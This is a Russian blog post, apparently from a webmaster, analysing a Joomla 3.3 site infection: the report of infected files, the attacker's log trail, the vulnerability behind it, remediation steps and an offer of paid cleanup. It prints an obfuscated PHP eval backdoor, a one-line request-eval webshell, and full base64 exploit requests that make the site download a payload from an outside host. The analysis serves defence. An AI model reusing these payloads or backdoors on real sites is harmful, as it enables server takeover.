Сегодня понаблюдал яркую демонстрацию истины, кто ленится обновлять свою CMS, тот потом лечит ее от вирусов.
Многие думают что наличие Джумлы 3.х — гарантия безопасности. Сегодня лечил сайтик на Джумле 3.3. Яркое опровержение.
Информируем Вас о том, что на сайте xxxx.info или одном из доменов, прикрепленных к основному сайту, в ходе плановой проверки обнаружен следующий вредоносный контент:
— /www/site/users/joomla/www/htdocs/administrator/components/wp-conf.php => Trojan.PHP-43
— /www/site/users/joomla/www/htdocs/wp-conf.php => Trojan.PHP-43
— /www/site/users/joomla/www/htdocs/administrator/components/com_joomlaupdate/wt5121n.php => Trojan.PHP-43
— /www/site/users/joomla/wp-conf.php => Trojan.PHP-43
— /www/site/users/joomla/www/htdocs/administrator/wp-conf.php => Trojan.PHP-43
— /www/site/users/joomla/www/htdocs/administrator/components/com_joomlaupdate/wp-conf.php => Trojan.PHP-43
— /www/site/users/joomla/www/wp-conf.php => Trojan.PHP-43
В куче файлов был найден код следующего вида.
1 |
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}q4995c4)){eval(${$s20}q4995c4);}?> |
Содержательную часть поиска и лечения вируса я пропущу, процедуру описывал не раз. А вот как была найдена сама уязвимость. Дата заражения мне была примерно известна по дате вируса. В логах вебсервера ищем "POST ". Практически сразу на глаза попалось вот такое.
1 2 3 |
81.163.131.61 - - [21/Nov/2014:19:12:21 +0300] "GET /administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3RvcnkiOjE6e3M6MTg6IgBBS0ZhY3RvcnkAdmFybGlzdCI7YToyOntzOjI3OiJraWNrc3RhcnQuc2VjdXJpdHkucGFzc3dvcmQiO3M6MDoiIjtzOjI2OiJraWNrc3RhcnQuc2V0dXAuc291cmNlZmlsZSI7czo0MDoiaHR0cDovL2RhbGUxdnVlbHRhLmNvbS9tZWRpYS93dDUxMjFuLnppcCI7fX0= HTTP/1.0" 200 4375 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)" 81.163.131.61 - - [21/Nov/2014:19:12:22 +0300] "GET /administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3RvcnkiOjI6e3M6MjE6IgBBS0ZhY3RvcnkAb2JqZWN0bGlzdCI7YToyOntzOjE1OiJBS1VuYXJjaGl2ZXJaSVAiO086MTU6IkFLVW5hcmNoaXZlclpJUCI6MzU6e3M6MjA6ImV4cGVjdERhdGFEZXNjcmlwdG9yIjtiOjA7czozNDoiAEFLVW5hcmNoaXZlckpQQQBhcmNoaXZlSGVhZGVyRGF0YSI7YTowOnt9czoxMToiACoAZmlsZW5hbWUiO3M6NDA6Imh0dHA6Ly9kYWxlMXZ1ZWx0YS5jb20vbWVkaWEvd3Q1MTIxbi56aXAiO3M6MTE6ImFyY2hpdmVMaXN0IjthOjE6e2k6MDtzOjQwOiJodHRwOi8vZGFsZTF2dWVsdGEuY29tL21lZGlhL3d0NTEyMW4uemlwIjt9czo5OiJ0b3RhbFNpemUiO2k6MDtzOjIwOiIAKgBjdXJyZW50UGFydE51bWJlciI7aTotMTtzOjIwOiIAKgBjdXJyZW50UGFydE9mZnNldCI7aTo0O3M6MjU6IgAqAGZsYWdSZXN0b3JlUGVybWlzc2lvbnMiO2k6MDtzOjE3OiIAKgBwb3N0UHJvY0VuZ2luZSI7TzoxNjoiQUtQb3N0cHJvY0RpcmVjdCI6ODp7czoxMToiACoAZmlsZW5hbWUiO047czo4OiIAKgBwZXJtcyI7aTo0OTM7czoxNToiACoAdGVtcEZpbGVuYW1lIjtOO3M6OToidGltZXN0YW1wIjtpOjA7czoyNToiAEFLQWJzdHJhY3RPYmplY3QAX2Vycm9ycyI7YTowOnt9czoyMToiACoAX2Vycm9yc19xdWV1ZV9zaXplIjtpOjA7czoyNzoiAEFLQWJzdHJhY3RPYmplY3QAX3dhcm5pbmdzIjthOjA6e31zOjIzOiIAKgBfd2FybmluZ3NfcXVldWVfc2l6ZSI7aTowO31zOjEwOiIAKgBhZGRQYXRoIjtzOjg4OiIvdmFyL3d3dy91NTI5NDUwMC9kYXRhL3d3dy9kemVyemhpbnNrLTE5MzAucnUvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9qb29tbGF1cGRhdGUvIjtzOjExOiJyZW5hbWVGaWxlcyI7YToyOntzOjk6Ii5odGFjY2VzcyI7czoxMjoiaHRhY2Nlc3MuYmFrIjtzOjc6InBocC5pbmkiO3M6MTE6InBocC5pbmkuYmFrIjt9czoxMDoicmVuYW1lRGlycyI7YTowOnt9czo5OiJza2lwRmlsZXMiO2E6Nzp7aTowO3M6MTE6InJlc3RvcmUucGhwIjtpOjE7czoxMzoia2lja3N0YXJ0LnBocCI7aToyO3M6MTc6ImFiaWF1dG9tYXRpb24uaW5pIjtpOjM7czoxMjoiaHRhY2Nlc3MuYmFrIjtpOjQ7czoxMToicGhwLmluaS5iYWsiO2k6NTtzOjQ3OiJhZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2FrZWViYS9yZXN0b3JlLnBocCI7aTo2O3M6NTE6ImFkbWluaXN0cmF0b3IvY29tcG9uZW50cy9jb21fYWtlZWJhL3Jlc3RvcmF0aW9uLnBocCI7fXM6MTI6IgAqAGNodW5rU2l6ZSI7aTo1MjQyODg7czo1OiIAKgBmcCI7aTowO3M6MTE6IgAqAHJ1blN0YXRlIjtpOjA7czoxMzoiACoAZmlsZUhlYWRlciI7TjtzOjE3OiIAKgBkYXRhUmVhZExlbmd0aCI7aTowO3M6MTM6IgAqAGlzUHJlcGFyZWQiO2I6MTtzOjEyOiIAKgBpc1J1bm5pbmciO2I6MDtzOjEzOiIAKgBpc0ZpbmlzaGVkIjtiOjA7czo5OiIAKgBoYXNSYW4iO2I6MDtzOjE2OiIAKgBhY3RpdmVfZG9tYWluIjtzOjA6IiI7czoxNDoiACoAYWN0aXZlX3N0ZXAiO3M6MDoiIjtzOjE3OiIAKgBhY3RpdmVfc3Vic3RlcCI7czowOiIiO3M6MTk6IgAqAF9wYXJhbWV0ZXJzQXJyYXkiO2E6Njp7czo4OiJmaWxlbmFtZSI7czo0MDoiaHR0cDovL2RhbGUxdnVlbHRhLmNvbS9tZWRpYS93dDUxMjFuLnppcCI7czoxOToicmVzdG9yZV9wZXJtaXNzaW9ucyI7aTowO3M6OToicG9zdF9wcm9jIjtzOjY6ImRpcmVjdCI7czo4OiJhZGRfcGF0aCI7czo4NzoiL3Zhci93d3cvdTUyOTQ1MDAvZGF0YS93d3cvZHplcnpoaW5zay0xOTMwLnJ1L2FkbWluaXN0cmF0b3IvY29tcG9uZW50cy9jb21fam9vbWxhdXBkYXRlIjtzOjEyOiJyZW5hbWVfZmlsZXMiO2E6Mjp7czo5OiIuaHRhY2Nlc3MiO3M6MTI6Imh0YWNjZXNzLmJhayI7czo3OiJwaHAuaW5pIjtzOjExOiJwaHAuaW5pLmJhayI7fXM6MTA6InNraXBfZmlsZXMiO2E6Nzp7aTowO3M6MTE6InJlc3RvcmUucGhwIjtpOjE7czoxMzoia2lja3N0YXJ0LnBocCI7aToyO3M6MTc6ImFiaWF1dG9tYXRpb24uaW5pIjtpOjM7czoxMjoiaHRhY2Nlc3MuYmFrIjtpOjQ7czoxMToicGhwLmluaS5iYWsiO2k6NTtzOjQ3OiJhZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2FrZWViYS9yZXN0b3JlLnBocCI7aTo2O3M6NTE6ImFkbWluaXN0cmF0b3IvY29tcG9uZW50cy9jb21fYWtlZWJhL3Jlc3RvcmF0aW9uLnBocCI7fX1zOjE1OiIAKgBkYXRhYmFzZVJvb3QiO2E6MDp7fXM6MzI6IgBBS0Fic3RyYWN0UGFydAB3YXJuaW5nc19wb2ludGVyIjtpOjA7czoxMjoiACoAb2JzZXJ2ZXJzIjthOjE6e3M6MTk6IlJlc3RvcmF0aW9uT2JzZXJ2ZXIiO086MTk6IlJlc3RvcmF0aW9uT2JzZXJ2ZXIiOjM6e3M6MTU6ImNvbXByZXNzZWRUb3RhbCI7aTowO3M6MTc6InVuY29tcHJlc3NlZFRvdGFsIjtpOjA7czoxNDoiZmlsZXNQcm9jZXNzZWQiO2k6MDt9fXM6MjU6IgBBS0Fic3RyYWN0T2JqZWN0AF9lcnJvcnMiO2E6MDp7fXM6MjE6IgAqAF9lcnJvcnNfcXVldWVfc2l6ZSI7aTowO3M6Mjc6IgBBS0Fic3RyYWN0T2JqZWN0AF93YXJuaW5ncyI7YTowOnt9czoyMzoiACoAX3dhcm5pbmdzX3F1ZXVlX3NpemUiO2k6MDtzOjE3OiJhcmNoaXZlSGVhZGVyRGF0YSI7Tzo4OiJzdGRDbGFzcyI6MDp7fXM6NjoiaGFzUnVuIjtiOjA7fXM6MTY6IkFLUG9zdHByb2NEaXJlY3QiO3I6MTM7fXM6MTg6IgBBS0ZhY3RvcnkAdmFybGlzdCI7YTozOntzOjI3OiJraWNrc3RhcnQuc2VjdXJpdHkucGFzc3dvcmQiO3M6MDoiIjtzOjI2OiJraWNrc3RhcnQuc2V0dXAuc291cmNlZmlsZSI7czo0MDoiaHR0cDovL2RhbGUxdnVlbHRhLmNvbS9tZWRpYS93dDUxMjFuLnppcCI7czoxNzoia2lja3N0YXJ0LmVuYWJsZWQiO2I6MTt9fQ== HTTP/1.0" 200 5409 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)" 81.163.131.61 - - [21/Nov/2014:19:12:23 +0300] "POST /administrator/components/com_joomlaupdate/wt5121n.php HTTP/1.0" 200 9 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)" |
Последняя строка — POST обращение к уже закачанному вирусу wt5121n.php в котором шифрованный FilesMan. А вот выше, строка гораздо интереснее. Странное GET обращение к одному из компонентов Джумлы. Гуглопоиск дает нам прекрасное. Уязвимость. http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html. Целый букет версий Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4 Joomla . Сказка была бы неполной, но уже в паблике есть эксплоит, причем можно найти как платный так и бесплатный. Akeeba Kickstart Unserialize Remote Code Execution. Published: 2014-10-21 . На использование именно этого эксплоита указывает наличие левого файла в папке /administrator/components/com_joomlaupdate/ . В данном случае у меня в этой папке было их даже 2.
/administrator/components/com_joomlaupdate/wt5121n.php
/administrator/components/com_joomlaupdate/article.92.php
Вначале при помощи эксплота загрузили article.92.php с конструкцией
1 |
<?php eval($_REQUEST[e]);?>123 |
А чуть позже, видимо уже для удобства хакер загрузил обфусцированный FilesMan wt5121n.php
Если еще чуть чуть погуглить, то легко увидеть, что к Джумле 3.3.0+ уязвимостей уже с пяток. Там и SQL injection и remote shell.
Что делать? Снести к чертовой матери Джумлу
1. Обновиться до последней версии.
2. Поменять пароль админа.
3. Проверить нет ли еще юзеров с правами админа.
4. не забыть вычистить все шеллы.
Непосредственно эта уязвимость закрывается еще одним споособом который описывал ранее. Защитой админки через редирект.
И да, если вам лень это делать или вы не смогли найти все шеллы, обращайтесь ко мне. Вылечу. Расценки скромные 800 р. 6 месяцев гарантии на мою работу.
Контакты
Свежие комментарии